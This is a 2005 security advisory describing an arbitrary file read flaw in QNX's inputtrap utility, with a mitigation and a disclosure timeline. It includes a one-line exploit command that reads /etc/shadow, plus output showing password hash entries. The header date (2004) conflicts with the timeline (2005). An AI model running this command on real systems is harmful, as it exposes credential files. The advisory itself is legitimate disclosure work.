[RLSA_01-2005] QNX inputtrap arbitrary file read vulnerability

["Julio Cesar Fort" <julio () rfdslabs com br>]

                *** rfdslabs security advisory ***

Title: QNX inputtrap arbitrary file read vulnerability [RLSA_01-2005]
Versions: QNX RTOS 6.3, 6.1.0 (possibly others)
Vendor: http://www.qnx.com
Date: Feb 22 2004

Author: Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>

1. Introduction

   inputtrap is a utility designed to detect and start input manager in QNX.

2. Details

   inputtrap has a '-t' flag to specify the trap file to be read. Due to
impro-
per permissions checking, we have administrative access to read files
anywhere
in the disk in addition with 'start' flag.

The following simple command will show us /etc/shadow:

$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

PS: This "design error" problem is similar to an old Debian 1.1 DOSEmu
vulnera-
    bility, back in 1999. And it was, surely, erradicated in crucial
programs
    of most operating systems.

3. Solution

   No official solution yet. We suggest remove inputtrap suid bit or
change its
permissions to a trusted group of users until QNX doesn't release an
official
patch.

4. Timeline

22 Feb 2005: Vulnerability detected (in a very very boring day, ill at
home);
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.

Thanks to Lucien Rocha, Carlos Barros (barrossecurity.com), George Fleury,
Rodrigo Costa (NERV), Despise, gotfault.org and everyone at rfdslabs.

www.rfdslabs.com.br - computers, sex, human mind, music and more
Recife, PE, Brazil
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